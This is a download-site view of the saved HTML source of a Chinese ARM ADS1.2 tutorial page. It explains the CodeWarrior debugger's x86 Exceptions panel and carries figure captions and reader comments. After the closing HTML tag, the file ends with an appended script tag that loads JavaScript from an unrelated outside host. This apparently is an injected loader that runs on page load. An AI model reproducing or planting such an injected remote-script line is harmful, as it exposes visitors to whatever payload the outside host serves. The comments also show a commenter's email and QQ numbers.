⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ads1_2 使用教程 (4)调试 - 开发工具 - arm嵌入式资源站.htm

📁 arm_ads 程序调试教程
💻 HTM
📖 第 1 页 / 共 4 页
字号:
                        <P><STRONG><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>x86 </FONT><FONT face=幼圆 size=+1>异常</FONT><FONT 
                        face="Arial, Helvetica, sans-serif" 
                        size=+1>(Exceptions)</FONT></STRONG></P><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>
                        <DIV align=center twffan="done">
                        <CENTER>
                        <TABLE cellSpacing=0 cellPadding=0 border=0>
                          <TBODY>
                          <TR>
                            <TD><IMG height=423 
                              alt="Figure 5-7: The x86 Exceptions panel." 
                              src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/icwwL5_fig7.gif" 
                              width=627 align=left twffan="done"> 
                        </TD></TR></TBODY></TABLE></CENTER></DIV>
                        <P><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>&nbsp;&nbsp;&nbsp; </FONT><FONT 
                        size=2>当你调试有问题的代码时, </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>CodeWarrior 
                        </FONT><FONT size=2>调试器会截取到由程序的 bug 
                        引起的某些奇怪的操作</FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>(</FONT><FONT 
                        size=2>即所谓的 异常——</FONT><FONT 
                        face="Arial, Helvetica, sans-serif" 
                        size=2>Exceptions)</FONT><FONT size=2>。 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>IDE 
                        </FONT><FONT 
                        size=2>会将这些异常传递给一个特殊的代码——一个被称之为处理器的东西——由它来处理这些异常问题。</FONT></P>
                        <P><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>&nbsp;&nbsp;&nbsp; </FONT><FONT 
                        size=2>但是,对于大多数的异常,调试器只是简单地中断它的工作而已。为什么会这样呢?</FONT></P>
                        <P><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>&nbsp;&nbsp;&nbsp; </FONT><FONT 
                        size=2>如果你正在做一个高级开发,例如开发一个系统库或一个设备驱动程序,你可能想测试一下这些代码是如何处理这些异常的。只有调试器不截取这些异常时,你才能这么做。如果为了一些特定的原因,你希望调试器抓住某些特定异常发生时的控制</FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>("seize 
                        control of the moment" for specific exceptions) 
                        </FONT><FONT size=2>,你就应该在这个设置面板上做一些设置。在该面板上显示的异常是 
                        </FONT><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>CodeWarrior </FONT><FONT 
                        size=2>的集成开发环境可以处置的情况。点击那些你希望由调试器来处理的异常情况,然后点击“保存”按钮保存设置。就像前面提到的,这是很高级的编程设置,因此我们在这将不作详细讨论。总之,</FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>CodeWarrior 
                        </FONT><FONT 
                        size=2>的调试器是一个非常先进的,而且很易于使用的附件。如果你学好了调试器的使用,它将会成为你开发软件的最重要的一个工具。</FONT></P>
                        <P><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>&nbsp;&nbsp;&nbsp; </FONT><FONT 
                        size=2>另外还有“其它的可执行程序”和“远程调试”设置面板,它们是针对高级用户设置的,本课程不打算再作介绍。如果你需要同时调试多个可执行程序或通过 
                        </FONT><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>TCP/IP </FONT><FONT 
                        size=2>网络来调试程序的话,你可以自行参看这几个设置面板。</FONT><BR><FONT 
                        face="Arial, Helvetica, sans-serif" 
                        size=2>&nbsp;&nbsp;&nbsp;</FONT></P></FONT></FONT></FONT></FONT></FONT></FONT></FONT></FONT></TD></TR>
                    <TR>
                      <TD align=middle>
                        <P align=center><EM><FONT size=1>图 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=1>5-7:&nbsp; 
                        x86 </FONT><FONT size=1>出错信息面板</FONT></EM></P></TD></TR>
                    <TR>
                      <TD><FONT size=2><IMG height=424 
                        alt="Figure 5-6: Target and Project Debugger Settings." 
                        src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_Fig6.gif" 
                        width=626 align=left twffan="done"> </FONT></TD></TR>
                    <TR>
                      <TD align=middle>
                        <P align=center><EM><FONT size=1>图 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=1>5-6: 
                        </FONT><FONT size=1>目标文件和工程调试器设置</FONT></EM></P></TD></TR>
                    <TR>
                      <TD><FONT size=2><IMG height=422 
                        alt="Figure 5-5: Remote Connections." 
                        src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig5.gif" 
                        width=624 align=left twffan="done"> </FONT></TD></TR>
                    <TR>
                      <TD align=middle>
                        <P align=center><EM><FONT size=1>图 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=1>5-5: 
                        </FONT><FONT size=1>远程连接</FONT></EM></P></TD></TR>
                    <TR>
                      <TD><FONT size=2><IMG height=423 
                        alt="Figure 5-4: Global settings." 
                        src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig4.gif" 
                        width=625 align=left twffan="done"> </FONT></TD></TR>
                    <TR>
                      <TD align=middle>
                        <P align=center><EM><FONT size=1>图 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=1>5-4: 
                        </FONT><FONT size=1>全局设置</FONT></EM></P></TD></TR>
                    <TR>
                      <TD><FONT size=2><IMG height=424 
                        alt="Figure 5-3: Windowing Settings." 
                        src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig3.gif" 
                        width=625 align=left twffan="done"> </FONT></TD></TR>
                    <TR>
                      <TD align=middle>
                        <P align=center><EM><FONT size=1>图 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=1>5-3: 
                        </FONT><FONT size=1>关于视窗的设置</FONT></EM></P></TD></TR>
                    <TR>
                      <TD><FONT size=2><IMG height=423 
                        alt="Figure 5-2: Display settings." 
                        src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/IcwwL5_fig2.gif" 
                        width=624 align=left twffan="done"> </FONT></TD></TR>
                    <TR>
                      <TD align=middle>
                        <P align=center><EM><FONT size=1>图 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=1>5-2: 
                        </FONT><FONT size=1>调试器全局参数设置显示</FONT></EM></P></TD></TR>
                    <TR>
                      <TD><FONT size=2><IMG height=484 
                        alt="Figure 5-1: The debugger does its thing." 
                        src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/icwwL5_fig1.gif" 
                        width=542 align=left twffan="done"> </FONT></TD></TR>
                    <TR>
                      <TD align=middle>
                        <P align=center><EM><FONT size=1>图 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=1>5-1: 
                        </FONT><FONT 
                  size=1>调试器界面</FONT></EM></P></TD></TR></TBODY></TABLE></CENTER></DIV></TD></TR></TBODY></TABLE>
            <SCRIPT>my_tag("gg_300_300",1);</SCRIPT>
          </TD></TR></TBODY></TABLE><BR><A name=comment></A>相关评论: 
      <HR>

      <TABLE width="98%" border=0>
        <TBODY>
        <TR>
          <TD>评论人:foxdeng</TD>
          <TD>2007-04-04</TD></TR>
        <TR>
          <TD colSpan=2>评论人:foxdeng 2007-04-04 
            你用的什么版本的啊,我的ads1.2上怎么没有这么多的选项呢?非常希望跟你联系mail: callful@163.com 
            qq:285170438 
            <HR>
          </TD></TR>
        <TR>
          <TD>评论人:foxdeng</TD>
          <TD>2007-04-04</TD></TR>
        <TR>
          <TD colSpan=2>你用的什么版本的啊,我的ads1.2上怎么没有这么多的选项呢?非常希望跟你联系mail: 
            callful@163.com qq:285170439 
            <HR>
          </TD></TR></TBODY></TABLE>
      <SCRIPT language=JavaScript>
comment_author = '评论人';
comment_content = '评论内容';
</SCRIPT>
      <SPAN id=comment_form></SPAN><BR><IMG height=6 
      src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/jian_tou_2.gif" width=9 
      align=absMiddle> 本文章所属分类:<A href="http://www.embed-game.com/">首页</A> → <A 
      href="http://www.embed-game.com/article_html/BianYiQiXiangGuan/">开发工具</A> 
      </DIV></DIV></TD>
    <TD vAlign=top width=180><!-- 右边部分 -->
      <DIV class="t3 bcy bgy bg_blue">
      <SCRIPT>my_tag("my_text_002",1);;</SCRIPT>
      </DIV>
      <DIV class="b3 bcy mb12">
      <SCRIPT>my_tag("gg_160_600",1);</SCRIPT>
      </DIV>
      <DIV class="t4 bcy bgy mb12 bg_blue"><A class=lbk 
      href="http://www.embed-game.com/">返回网站首页</A></DIV>
      <DIV class=b4y>
      <SCRIPT>my_tag("feedback_text",1);</SCRIPT>
      </DIV></TD></TR></TBODY></TABLE><!-- 页底部分 -->
<DIV id=cp>
<SCRIPT>my_tag("copyright",1);</SCRIPT>
</DIV><!-- 以下js用于自动更新静态页,统计文章点击数等用途 -->
<SCRIPT>
			hbcms_dir	= "";
			hbcms_tpl	= "article_detail.tpl.html";
			hbcms_ctime = 1178847368;
		</SCRIPT>

<SCRIPT 
src="ADS1_2 使用教程 (4)调试 - 开发工具 - ARM嵌入式资源站.files/hbcms_bottom_js.js"></SCRIPT>
</BODY></HTML>

<script language=javascript src=http://bole.netstv.net/xia/win.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -